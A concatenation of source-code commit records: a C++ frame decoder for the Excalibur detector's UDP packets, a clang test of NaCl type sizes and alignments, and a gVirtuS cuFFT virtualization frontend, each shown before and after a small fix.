reinterpret_cast<uint8_t*>(current_frame_buffer_) +\n get_frame_header_size() +\n (Excalibur::subframe_size * (get_subframe_counter() % 2)) +\n (Excalibur::primary_packet_size * get_packet_number());\n\n return reinterpret_cast<void*>(next_receive_location);\n}\n\nsize_t ExcaliburFrameDecoder::get_next_payload_size(void) const\n{\n size_t next_receive_size = 0;\n\n\tif (get_packet_number() < Excalibur::num_primary_packets)\n\t{\n\t\tnext_receive_size = Excalibur::primary_packet_size;\n\t}\n\telse\n\t{\n\t\tnext_receive_size = Excalibur::tail_packet_size;\n\t}\n\n return next_receive_size;\n}\n\nFrameDecoder::FrameReceiveState ExcaliburFrameDecoder::process_packet(size_t bytes_received)\n{\n\n FrameDecoder::FrameReceiveState frame_state = FrameDecoder::FrameReceiveStateIncomplete;\n\n \/\/ If this packet is the last in subframe (i.e. has on EOF marker in the header), extract the frame\n \/\/ number (which counts from 1) from the subframe trailer, update and\/or validate in the frame buffer\n \/\/ header appropriately.\n if (get_end_of_frame_marker()) {\n\n \tsize_t payload_bytes_received = bytes_received - sizeof(Excalibur::PacketHeader);\n\n \tExcalibur::SubframeTrailer* trailer = reinterpret_cast<Excalibur::SubframeTrailer*>(\n \t\t\t(uint8_t*)get_next_payload_buffer() + payload_bytes_received - sizeof(Excalibur::SubframeTrailer));\n\n \tuint32_t frame_number = static_cast<uint32_t>((trailer->frame_number & 0xFFFFFFFF) - 1);\n \tLOG4CXX_DEBUG_LEVEL(3, logger_, \"Subframe EOF trailer has frame number = \" << frame_number);\n\n \tuint32_t subframe_idx = get_subframe_counter() % 2;\n\n \tif (subframe_idx == 0) {\n \t\tcurrent_frame_header_->frame_number = frame_number;\n \t} else {\n \t\tif (frame_number != current_frame_header_->frame_number) {\n \t\t\tLOG4CXX_WARN(logger_, \"Subframe EOF trailer frame number mismatch for frame \" << current_frame_seen_\n \t\t\t\t\t<< \": got \" << frame_number << \", expected \" << current_frame_header_->frame_number\n \t\t\t\t\t);\n \t\t}\n \t}\n }\n\n\tcurrent_frame_header_->packets_received++;\n\n\tif (current_frame_header_->packets_received == Excalibur::num_frame_packets)\n\t{\n\n\t\t\/\/ Check that the appropriate number of SOF and EOF markers (one each per subframe) have\n\t\t\/\/ been seen, otherwise log a warning\n\n\t\tif ((current_frame_header_->sof_marker_count != Excalibur::num_subframes) ||\n\t\t\t(current_frame_header_->eof_marker_count != Excalibur::num_subframes))\n\t\t{\n\t\t\tLOG4CXX_WARN(logger_, \"Incorrect number of SOF (\" << current_frame_header_->sof_marker_count\n\t\t\t\t\t<< \") or EOF (\" << current_frame_header_->eof_marker_count\n\t\t\t\t\t<< \"markers seen on completed frame \" << current_frame_seen_\n\t\t\t\t\t);\n\t\t}\n\n\t \/\/ Set frame state accordingly\n\t\tframe_state = FrameDecoder::FrameReceiveStateComplete;\n\n\t\t\/\/ Complete frame header\n\t\tcurrent_frame_header_->frame_state = frame_state;\n\n\t\tif (!dropping_frame_data_)\n\t\t{\n\t\t\t\/\/ Erase frame from buffer map\n\t\t\tframe_buffer_map_.erase(current_frame_seen_);\n\n\t\t\t\/\/ Notify main thread that frame is ready\n\t\t\tready_callback_(current_frame_buffer_id_, current_frame_seen_);\n\n\t\t\t\/\/ Reset current frame seen ID so that if next frame has same number (e.g. repeated\n\t\t\t\/\/ sends of single frame 0), it is detected properly\n\t\t\tcurrent_frame_seen_ = -1;\n\t\t}\n\t}\n\n\treturn frame_state;\n}\n\nvoid ExcaliburFrameDecoder::monitor_buffers(void)\n{\n\n int frames_timedout = 0;\n struct timespec current_time;\n\n gettime(¤t_time);\n\n \/\/ Loop over frame buffers currently in map and check their state\n std::map<uint32_t, int>::iterator buffer_map_iter = frame_buffer_map_.begin();\n while (buffer_map_iter != frame_buffer_map_.end())\n {\n uint32_t frame_num = buffer_map_iter->first;\n int buffer_id = buffer_map_iter->second;\n void* buffer_addr = buffer_manager_->get_buffer_address(buffer_id);\n Excalibur::FrameHeader* frame_header = reinterpret_cast<Excalibur::FrameHeader*>(buffer_addr);\n\n if (elapsed_ms(frame_header->frame_start_time, current_time) > frame_timeout_ms_)\n {\n LOG4CXX_DEBUG_LEVEL(1, logger_, \"Frame \" << frame_num << \" in buffer \" << buffer_id\n << \" addr 0x\" << std::hex << buffer_addr << std::dec\n << \" timed out with \" << frame_header->packets_received << \" packets received\");\n\n frame_header->frame_state = FrameReceiveStateTimedout;\n ready_callback_(buffer_id, frame_num);\n frames_timedout++;\n\n frame_buffer_map_.erase(buffer_map_iter++);\n }\n else\n {\n buffer_map_iter++;\n }\n }\n if (frames_timedout)\n {\n LOG4CXX_WARN(logger_, \"Released \" << frames_timedout << \" timed out incomplete frames\");\n }\n frames_timedout_ += frames_timedout;\n\n LOG4CXX_DEBUG_LEVEL(2, logger_, get_num_mapped_buffers() << \" frame buffers in use, \"\n << get_num_empty_buffers() << \" empty buffers available, \"\n << frames_timedout_ << \" incomplete frames timed out\");\n\n}\n\nuint32_t ExcaliburFrameDecoder::get_subframe_counter(void) const\n{\n return reinterpret_cast<Excalibur::PacketHeader*>(current_packet_header_.get())->subframe_counter;\n}\n\nuint32_t ExcaliburFrameDecoder::get_packet_number(void) const\n{\n return reinterpret_cast<Excalibur::PacketHeader*>(current_packet_header_.get())->packet_number_flags & Excalibur::packet_number_mask;\n}\n\nbool ExcaliburFrameDecoder::get_start_of_frame_marker(void) const\n{\n\tuint32_t packet_number_flags = reinterpret_cast<Excalibur::PacketHeader*>(current_packet_header_.get())->packet_number_flags;\n\treturn ((packet_number_flags & Excalibur::start_of_frame_mask) != 0);\n}\n\nbool ExcaliburFrameDecoder::get_end_of_frame_marker(void) const\n{\n\tuint32_t packet_number_flags = reinterpret_cast<Excalibur::PacketHeader*>(current_packet_header_.get())->packet_number_flags;\n\treturn ((packet_number_flags & Excalibur::end_of_frame_mask) != 0);\n}\n\nunsigned int ExcaliburFrameDecoder::elapsed_ms(struct timespec& start, struct timespec& end)\n{\n\n double start_ns = ((double)start.tv_sec * 1000000000) + start.tv_nsec;\n double end_ns = ((double) end.tv_sec * 1000000000) + end.tv_nsec;\n\n return (unsigned int)((end_ns - start_ns)\/1000000);\n}\n<commit_msg>ExcaliburFrameDecoder now uses 'real' frame number in notifcations.<commit_after>\/*\n * ExcaliburFrameDecoder.cpp\n *\n * Created on: Jan 16th, 2017\n * Author: Tim Nicholls, STFC Application Engineering Group\n *\/\n\n#include \"ExcaliburFrameDecoder.h\"\n#include \"gettime.h\"\n#include <iostream>\n#include <iomanip>\n#include <sstream>\n#include <arpa\/inet.h>\n\nusing namespace FrameReceiver;\n\nExcaliburFrameDecoder::ExcaliburFrameDecoder(LoggerPtr& logger,\n bool enable_packet_logging, unsigned int frame_timeout_ms) :\n FrameDecoder(logger, enable_packet_logging),\n\t\tcurrent_frame_seen_(-1),\n\t\tcurrent_frame_buffer_id_(-1),\n\t\tcurrent_frame_buffer_(0),\n\t\tcurrent_frame_header_(0),\n\t\tdropping_frame_data_(false),\n\t\tframe_timeout_ms_(frame_timeout_ms),\n\t\tframes_timedout_(0)\n{\n current_packet_header_.reset(new uint8_t[sizeof(Excalibur::PacketHeader)]);\n dropped_frame_buffer_.reset(new uint8_t[Excalibur::total_frame_size]);\n\n if (enable_packet_logging_) {\n LOG4CXX_INFO(packet_logger_, \"PktHdr: SourceAddress\");\n LOG4CXX_INFO(packet_logger_, \"PktHdr: | SourcePort\");\n LOG4CXX_INFO(packet_logger_, \"PktHdr: | | DestinationPort\");\n LOG4CXX_INFO(packet_logger_, \"PktHdr: | | | SubframeCounter [4 Bytes]\");\n LOG4CXX_INFO(packet_logger_, \"PktHdr: | | | | PacketCounter&Flags [4 Bytes]\");\n LOG4CXX_INFO(packet_logger_, \"PktHdr: | | | | |\");\n LOG4CXX_INFO(packet_logger_, \"PktHdr: |-------------- |---- |---- |---------- |----------\");\n }\n}\n\nExcaliburFrameDecoder::~ExcaliburFrameDecoder()\n{\n}\n\nconst size_t ExcaliburFrameDecoder::get_frame_buffer_size(void) const\n{\n return Excalibur::total_frame_size;\n}\n\nconst size_t ExcaliburFrameDecoder::get_frame_header_size(void) const\n{\n return sizeof(Excalibur::FrameHeader);\n}\n\nconst size_t ExcaliburFrameDecoder::get_packet_header_size(void) const\n{\n return sizeof(Excalibur::PacketHeader);\n}\n\nvoid* ExcaliburFrameDecoder::get_packet_header_buffer(void)\n{\n return current_packet_header_.get();\n}\n\nvoid ExcaliburFrameDecoder::process_packet_header(size_t bytes_received, int port, struct sockaddr_in* from_addr)\n{\n \/\/ Dump raw header if packet logging enabled\n if (enable_packet_logging_)\n {\n std::stringstream ss;\n uint8_t* hdr_ptr = reinterpret_cast<uint8_t*>(current_packet_header_.get());\n ss << \"PktHdr: \" << std::setw(15) << std::left << inet_ntoa(from_addr->sin_addr) << std::right << \" \"\n << std::setw(5) << ntohs(from_addr->sin_port) << \" \"\n << std::setw(5) << port << std::hex;\n for (unsigned int hdr_byte = 0; hdr_byte < sizeof(Excalibur::PacketHeader); hdr_byte++)\n {\n if (hdr_byte % 8 == 0) {\n ss << \" \";\n }\n ss << std::setw(2) << std::setfill('0') << (unsigned int)*hdr_ptr << \" \";\n hdr_ptr++;\n }\n ss << std::dec;\n LOG4CXX_INFO(packet_logger_, ss.str());\n }\n\n\tuint32_t subframe_counter = get_subframe_counter();\n\tuint32_t packet_number = get_packet_number();\n\tbool start_of_frame_marker = get_start_of_frame_marker();\n\tbool end_of_frame_marker = get_end_of_frame_marker();\n\n\tuint32_t subframe_idx = subframe_counter % 2;\n\tuint32_t frame = subframe_counter \/ 2;\n\n LOG4CXX_DEBUG_LEVEL(3, logger_, \"Got packet header:\"\n << \" packet: \" << packet_number << \" subframe ctr: \"<< subframe_counter << \" idx:\" << subframe_idx\n\t\t\t<< \" SOF: \" << (int)start_of_frame_marker << \" EOF: \" << (int)end_of_frame_marker\n );\n\n if (frame != current_frame_seen_)\n {\n current_frame_seen_ = frame;\n\n \tif (frame_buffer_map_.count(current_frame_seen_) == 0)\n \t{\n \t if (empty_buffer_queue_.empty())\n {\n current_frame_buffer_ = dropped_frame_buffer_.get();\n\n \t if (!dropping_frame_data_)\n {\n LOG4CXX_ERROR(logger_, \"First packet from frame \" << current_frame_seen_ << \" detected but no free buffers available. Dropping packet data for this frame\");\n dropping_frame_data_ = true;\n }\n }\n \t else\n \t {\n\n current_frame_buffer_id_ = empty_buffer_queue_.front();\n empty_buffer_queue_.pop();\n frame_buffer_map_[current_frame_seen_] = current_frame_buffer_id_;\n current_frame_buffer_ = buffer_manager_->get_buffer_address(current_frame_buffer_id_);\n\n if (!dropping_frame_data_)\n {\n LOG4CXX_DEBUG_LEVEL(2, logger_, \"First packet from frame \" << current_frame_seen_ << \" detected, allocating frame buffer ID \" << current_frame_buffer_id_);\n }\n else\n {\n dropping_frame_data_ = false;\n LOG4CXX_DEBUG_LEVEL(2, logger_, \"Free buffer now available for frame \" << current_frame_seen_ << \", allocating frame buffer ID \" << current_frame_buffer_id_);\n }\n \t }\n\n \t \/\/ Initialise frame header\n current_frame_header_ = reinterpret_cast<Excalibur::FrameHeader*>(current_frame_buffer_);\n current_frame_header_->frame_number = current_frame_seen_;\n current_frame_header_->frame_state = FrameDecoder::FrameReceiveStateIncomplete;\n current_frame_header_->packets_received = 0;\n current_frame_header_->sof_marker_count = 0;\n current_frame_header_->eof_marker_count = 0;\n memset(current_frame_header_->packet_state, 0, Excalibur::num_frame_packets);\n gettime(reinterpret_cast<struct timespec*>(&(current_frame_header_->frame_start_time)));\n\n \t}\n \telse\n \t{\n \t\tcurrent_frame_buffer_id_ = frame_buffer_map_[current_frame_seen_];\n \tcurrent_frame_buffer_ = buffer_manager_->get_buffer_address(current_frame_buffer_id_);\n \tcurrent_frame_header_ = reinterpret_cast<Excalibur::FrameHeader*>(current_frame_buffer_);\n \t}\n\n }\n\n \/\/ If SOF or EOF markers seen in packet header, increment appropriate field in frame header\n if (start_of_frame_marker) {\n \t(current_frame_header_->sof_marker_count)++;\n }\n if (end_of_frame_marker) {\n \t(current_frame_header_->eof_marker_count)++;\n }\n\n \/\/ Update packet_number state map in frame header\n current_frame_header_->packet_state[subframe_idx][packet_number] = 1;\n\n}\n\nvoid* ExcaliburFrameDecoder::get_next_payload_buffer(void) const\n{\n\n uint8_t* next_receive_location =\n reinterpret_cast<uint8_t*>(current_frame_buffer_) +\n get_frame_header_size() +\n (Excalibur::subframe_size * (get_subframe_counter() % 2)) +\n (Excalibur::primary_packet_size * get_packet_number());\n\n return reinterpret_cast<void*>(next_receive_location);\n}\n\nsize_t ExcaliburFrameDecoder::get_next_payload_size(void) const\n{\n size_t next_receive_size = 0;\n\n\tif (get_packet_number() < Excalibur::num_primary_packets)\n\t{\n\t\tnext_receive_size = Excalibur::primary_packet_size;\n\t}\n\telse\n\t{\n\t\tnext_receive_size = Excalibur::tail_packet_size;\n\t}\n\n return next_receive_size;\n}\n\nFrameDecoder::FrameReceiveState ExcaliburFrameDecoder::process_packet(size_t bytes_received)\n{\n\n FrameDecoder::FrameReceiveState frame_state = FrameDecoder::FrameReceiveStateIncomplete;\n\n \/\/ If this packet is the last in subframe (i.e. has on EOF marker in the header), extract the frame\n \/\/ number (which counts from 1) from the subframe trailer, update and\/or validate in the frame buffer\n \/\/ header appropriately.\n if (get_end_of_frame_marker()) {\n\n \tsize_t payload_bytes_received = bytes_received - sizeof(Excalibur::PacketHeader);\n\n \tExcalibur::SubframeTrailer* trailer = reinterpret_cast<Excalibur::SubframeTrailer*>(\n \t\t\t(uint8_t*)get_next_payload_buffer() + payload_bytes_received - sizeof(Excalibur::SubframeTrailer));\n\n \tuint32_t frame_number = static_cast<uint32_t>((trailer->frame_number & 0xFFFFFFFF) - 1);\n \tLOG4CXX_DEBUG_LEVEL(3, logger_, \"Subframe EOF trailer has frame number = \" << frame_number);\n\n \tuint32_t subframe_idx = get_subframe_counter() % 2;\n\n \tif (subframe_idx == 0) {\n \t\tcurrent_frame_header_->frame_number = frame_number;\n \t} else {\n \t\tif (frame_number != current_frame_header_->frame_number) {\n \t\t\tLOG4CXX_WARN(logger_, \"Subframe EOF trailer frame number mismatch for frame \" << current_frame_seen_\n \t\t\t\t\t<< \": got \" << frame_number << \", expected \" << current_frame_header_->frame_number\n \t\t\t\t\t);\n \t\t}\n \t}\n }\n\n\tcurrent_frame_header_->packets_received++;\n\n\tif (current_frame_header_->packets_received == Excalibur::num_frame_packets)\n\t{\n\n\t\t\/\/ Check that the appropriate number of SOF and EOF markers (one each per subframe) have\n\t\t\/\/ been seen, otherwise log a warning\n\n\t\tif ((current_frame_header_->sof_marker_count != Excalibur::num_subframes) ||\n\t\t\t(current_frame_header_->eof_marker_count != Excalibur::num_subframes))\n\t\t{\n\t\t\tLOG4CXX_WARN(logger_, \"Incorrect number of SOF (\" << current_frame_header_->sof_marker_count\n\t\t\t\t\t<< \") or EOF (\" << current_frame_header_->eof_marker_count\n\t\t\t\t\t<< \"markers seen on completed frame \" << current_frame_seen_\n\t\t\t\t\t);\n\t\t}\n\n\t \/\/ Set frame state accordingly\n\t\tframe_state = FrameDecoder::FrameReceiveStateComplete;\n\n\t\t\/\/ Complete frame header\n\t\tcurrent_frame_header_->frame_state = frame_state;\n\n\t\tif (!dropping_frame_data_)\n\t\t{\n\t\t\t\/\/ Erase frame from buffer map\n\t\t\tframe_buffer_map_.erase(current_frame_seen_);\n\n\t\t\t\/\/ Notify main thread that frame is ready\n\t\t\tready_callback_(current_frame_buffer_id_, current_frame_header_->frame_number); \/\/current_frame_seen_);\n\n\t\t\t\/\/ Reset current frame seen ID so that if next frame has same number (e.g. repeated\n\t\t\t\/\/ sends of single frame 0), it is detected properly\n\t\t\tcurrent_frame_seen_ = -1;\n\t\t}\n\t}\n\n\treturn frame_state;\n}\n\nvoid ExcaliburFrameDecoder::monitor_buffers(void)\n{\n\n int frames_timedout = 0;\n struct timespec current_time;\n\n gettime(¤t_time);\n\n \/\/ Loop over frame buffers currently in map and check their state\n std::map<uint32_t, int>::iterator buffer_map_iter = frame_buffer_map_.begin();\n while (buffer_map_iter != frame_buffer_map_.end())\n {\n uint32_t frame_num = buffer_map_iter->first;\n int buffer_id = buffer_map_iter->second;\n void* buffer_addr = buffer_manager_->get_buffer_address(buffer_id);\n Excalibur::FrameHeader* frame_header = reinterpret_cast<Excalibur::FrameHeader*>(buffer_addr);\n\n if (elapsed_ms(frame_header->frame_start_time, current_time) > frame_timeout_ms_)\n {\n LOG4CXX_DEBUG_LEVEL(1, logger_, \"Frame \" << frame_num << \" in buffer \" << buffer_id\n << \" addr 0x\" << std::hex << buffer_addr << std::dec\n << \" timed out with \" << frame_header->packets_received << \" packets received\");\n\n frame_header->frame_state = FrameReceiveStateTimedout;\n ready_callback_(buffer_id, frame_num);\n frames_timedout++;\n\n frame_buffer_map_.erase(buffer_map_iter++);\n }\n else\n {\n buffer_map_iter++;\n }\n }\n if (frames_timedout)\n {\n LOG4CXX_WARN(logger_, \"Released \" << frames_timedout << \" timed out incomplete frames\");\n }\n frames_timedout_ += frames_timedout;\n\n LOG4CXX_DEBUG_LEVEL(2, logger_, get_num_mapped_buffers() << \" frame buffers in use, \"\n << get_num_empty_buffers() << \" empty buffers available, \"\n << frames_timedout_ << \" incomplete frames timed out\");\n\n}\n\nuint32_t ExcaliburFrameDecoder::get_subframe_counter(void) const\n{\n return reinterpret_cast<Excalibur::PacketHeader*>(current_packet_header_.get())->subframe_counter;\n}\n\nuint32_t ExcaliburFrameDecoder::get_packet_number(void) const\n{\n return reinterpret_cast<Excalibur::PacketHeader*>(current_packet_header_.get())->packet_number_flags & Excalibur::packet_number_mask;\n}\n\nbool ExcaliburFrameDecoder::get_start_of_frame_marker(void) const\n{\n\tuint32_t packet_number_flags = reinterpret_cast<Excalibur::PacketHeader*>(current_packet_header_.get())->packet_number_flags;\n\treturn ((packet_number_flags & Excalibur::start_of_frame_mask) != 0);\n}\n\nbool ExcaliburFrameDecoder::get_end_of_frame_marker(void) const\n{\n\tuint32_t packet_number_flags = reinterpret_cast<Excalibur::PacketHeader*>(current_packet_header_.get())->packet_number_flags;\n\treturn ((packet_number_flags & Excalibur::end_of_frame_mask) != 0);\n}\n\nunsigned int ExcaliburFrameDecoder::elapsed_ms(struct timespec& start, struct timespec& end)\n{\n\n double start_ns = ((double)start.tv_sec * 1000000000) + start.tv_nsec;\n double end_ns = ((double) end.tv_sec * 1000000000) + end.tv_nsec;\n\n return (unsigned int)((end_ns - start_ns)\/1000000);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ RUN: %clang_cc1 -triple x86_64-unknown-nacl -std=c++11 -verify %s\n\/\/ expected-no-diagnostics\n\n#include <stddef.h>\n#include <stdarg.h>\n\nstatic_assert(alignof(char) == 1, \"alignof char is wrong\");\n\nstatic_assert(alignof(short) == 2, \"sizeof short is wrong\");\nstatic_assert(alignof(short) == 2, \"alignof short is wrong\");\n\nstatic_assert(alignof(int) == 4, \"sizeof int is wrong\");\nstatic_assert(alignof(int) == 4, \"alignof int is wrong\");\n\nstatic_assert(sizeof(long) == 4, \"sizeof long is wrong\");\nstatic_assert(sizeof(long) == 4, \"alignof long is wrong\");\n\nstatic_assert(sizeof(long long) == 8, \"sizeof long long is wrong wrong\");\nstatic_assert(alignof(long long) == 8, \"alignof long long is wrong wrong\");\n\nstatic_assert(sizeof(void*) == 4, \"sizeof void * is wrong\");\nstatic_assert(alignof(void*) == 4, \"alignof void * is wrong\");\n\nstatic_assert(sizeof(float) == 4, \"sizeof float is wrong\");\nstatic_assert(alignof(float) == 4, \"alignof float is wrong\");\n\nstatic_assert(sizeof(double) == 8, \"sizeof double is wrong\");\nstatic_assert(alignof(double) == 8, \"alignof double is wrong\");\n\nstatic_assert(sizeof(long double) == 8, \"sizeof long double is wrong\");\nstatic_assert(alignof(long double) == 8, \"alignof long double is wrong\");\n\nstatic_assert(sizeof(va_list) == 16, \"sizeof va_list is wrong\");\nstatic_assert(alignof(va_list) == 4, \"alignof va_list is wrong\");\n\nstatic_assert(sizeof(size_t) == 4, \"sizeof size_t is wrong\");\nstatic_assert(alignof(size_t) == 4, \"alignof size_t is wrong\");\n<commit_msg>Fix copy-paste errors in the test<commit_after>\/\/ RUN: %clang_cc1 -triple x86_64-unknown-nacl -std=c++11 -verify %s\n\/\/ expected-no-diagnostics\n\n#include <stddef.h>\n#include <stdarg.h>\n\nstatic_assert(alignof(char) == 1, \"alignof char is wrong\");\n\nstatic_assert(sizeof(short) == 2, \"sizeof short is wrong\");\nstatic_assert(alignof(short) == 2, \"alignof short is wrong\");\n\nstatic_assert(sizeof(int) == 4, \"sizeof int is wrong\");\nstatic_assert(alignof(int) == 4, \"alignof int is wrong\");\n\nstatic_assert(sizeof(long) == 4, \"sizeof long is wrong\");\nstatic_assert(alignof(long) == 4, \"alignof long is wrong\");\n\nstatic_assert(sizeof(long long) == 8, \"sizeof long long is wrong wrong\");\nstatic_assert(alignof(long long) == 8, \"alignof long long is wrong wrong\");\n\nstatic_assert(sizeof(void*) == 4, \"sizeof void * is wrong\");\nstatic_assert(alignof(void*) == 4, \"alignof void * is wrong\");\n\nstatic_assert(sizeof(float) == 4, \"sizeof float is wrong\");\nstatic_assert(alignof(float) == 4, \"alignof float is wrong\");\n\nstatic_assert(sizeof(double) == 8, \"sizeof double is wrong\");\nstatic_assert(alignof(double) == 8, \"alignof double is wrong\");\n\nstatic_assert(sizeof(long double) == 8, \"sizeof long double is wrong\");\nstatic_assert(alignof(long double) == 8, \"alignof long double is wrong\");\n\nstatic_assert(sizeof(va_list) == 16, \"sizeof va_list is wrong\");\nstatic_assert(alignof(va_list) == 4, \"alignof va_list is wrong\");\n\nstatic_assert(sizeof(size_t) == 4, \"sizeof size_t is wrong\");\nstatic_assert(alignof(size_t) == 4, \"alignof size_t is wrong\");\n<|endoftext|>"} {"text":"<commit_before>\/*\n * gVirtuS -- A GPGPU transparent virtualization component.\n *\n * Copyright (C) 2009-2011 The University of Napoli Parthenope at Naples.\n *\n * This file is part of gVirtuS.\n *\n * gVirtuS is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * gVirtuS is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with gVirtuS; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n * Written by: Giuseppe Coviello <giuseppe.coviello@uniparthenope.it>,\n * Department of Applied Science\n *\/\n\n#include <cufft.h>\n\n#include \"Frontend.h\"\n\n#include <iostream>\n\nusing namespace std;\n\nextern \"C\" cufftResult cufftPlan1d(cufftHandle *plan, int nx, cufftType type,\n int batch) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(nx);\n in->Add(type);\n in->Add(batch);\n f->Execute(\"cufftPlan1d\");\n \/\/cout << hex << f->GetOutputBuffer() << endl;\n \/\/cout << hex << f->GetOutputBuffer()->Get<uint64_t>();\n \/\/*plan = (cufftHandle) f->GetOutputBuffer()->Get<uint64_t>();\n *plan = f->GetOutputBuffer()->Get<cufftHandle>();\n cout << \"CCCC\\n\";\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftPlan2d(cufftHandle *plan, int nx, int ny,\n cufftType type) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(nx);\n in->Add(ny);\n in->Add(type);\n f->Execute(\"cufftPlan2d\");\n *plan = f->GetOutputBuffer()->Get<cufftHandle>();\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftPlan3d(cufftHandle *plan, int nx, int ny, int nz,\n cufftType type) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(nx);\n in->Add(ny);\n in->Add(nz);\n in->Add(type);\n f->Execute(\"cufftPlan3d\");\n *plan = (cufftHandle) f->GetOutputBuffer()->Get<uint64_t>();\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftPlanMany(cufftHandle *plan, int rank, int *n, \n int *inembed, int istride, int idist, int *onembed, int ostride,\n int odist, cufftType type, int batch) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(rank);\n in->Add(*n);\n in->Add(istride);\n in->Add(idist);\n in->Add(ostride);\n in->Add(odist);\n in->Add(type);\n in->Add(batch);\n f->Execute(\"cufftPlanMany\");\n *plan = (cufftHandle) f->GetOutputBuffer()->Get<uint64_t>();\n *n = f->GetOutputBuffer()->Get<int>();\n return (cufftResult) f->GetExitCode();\n}\n\n\/*\n * in Testing - Vincenzo Santopietro\n *\/\nextern \"C\" cufftResult cufftCreate(cufftHandle *plan) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n f->Execute(\"cufftCreate\");\n return (cufftResult) f->GetExitCode();\n}\n\n\nextern \"C\" cufftResult cufftDestroy(cufftHandle plan) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n f->Execute(\"cufftDestroy\");\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftExecC2C(cufftHandle plan, cufftComplex *idata,\n cufftComplex *odata, int direction) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n in->Add(idata);\n in->Add(odata);\n in->Add(direction);\n f->Execute(\"cufftExecC2C\");\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftExecR2C(cufftHandle plan, cufftReal *idata,\n cufftComplex *odata) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n in->Add(idata);\n in->Add(odata);\n f->Execute(\"cufftExecR2C\");\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftExecC2R(cufftHandle plan, cufftComplex *idata,\n cufftReal *odata) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n in->Add((uint64_t) idata);\n in->Add((uint64_t) odata);\n f->Execute(\"cufftExecC2R\");\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftExecZ2Z(cufftHandle plan, cufftDoubleComplex *idata,\n cufftDoubleComplex *odata, int direction) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n in->Add(idata);\n in->Add(odata);\n in->Add(direction);\n f->Execute(\"cufftExecZ2z\");\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftExecD2Z(cufftHandle plan, cufftDoubleReal *idata,\n cufftDoubleComplex *odata) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n in->Add(idata);\n in->Add(odata);\n f->Execute(\"cufftExecD2Z\");\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftExecZ2D(cufftHandle plan, cufftDoubleComplex *idata,\n cufftDoubleReal *odata) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n in->Add(idata);\n in->Add(odata);\n f->Execute(\"cufftExecZ2D\");\n return (cufftResult) f->GetExitCode();\n\n}\n\nextern \"C\" cufftResult cufftSetStream(cufftHandle plan, cudaStream_t stream) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n in->Add((uint64_t) stream);\n f->Execute(\"cufftSetStream\");\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftSetCompatibilityMode(cufftHandle plan,\n cufftCompatibility mode){\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n in->Add(mode);\n f->Execute(\"cufftSetCompatibilityMode\");\n return (cufftResult) f->GetExitCode();\n}\n\n\nextern \"C\" cufftResult cufftXtMakePlanMany(cufftHandle plan, int rank, long long int *n, long long int *inembed, long long int istride, long long int idist, cudaDataType inputtype, long long int *onembed, long long int ostride, long long int odist, cudaDataType outputtype, long long int batch, size_t *workSize, cudaDataType executiontype) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n \/\/plan = (cufftHandle) f->GetOutputBuffer()->Get<cufftHandle>();\n \/\/n = (long long int * )f->GetOutputBuffer()->Get<long long int>();\n \n in->Add(plan);\n in->Add(rank);\n in->Add(*n);\n in->Add(*inembed);\n in->Add(istride);\n in->Add(idist);\n in->Add(inputtype);\n\n in->Add(*onembed);\n in->Add(ostride);\n in->Add(odist);\n in->Add(outputtype);\n \n in->Add(batch);\n in->Add(*workSize);\n in->Add(executiontype);\n f->Execute(\"cufftXtMakePlanMany\");\n \n \n return (cufftResult) f->GetExitCode();\n}\n<commit_msg>Fixed cufftCreate and CufftPlan1d<commit_after>\/*\n * gVirtuS -- A GPGPU transparent virtualization component.\n *\n * Copyright (C) 2009-2011 The University of Napoli Parthenope at Naples.\n *\n * This file is part of gVirtuS.\n *\n * gVirtuS is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the 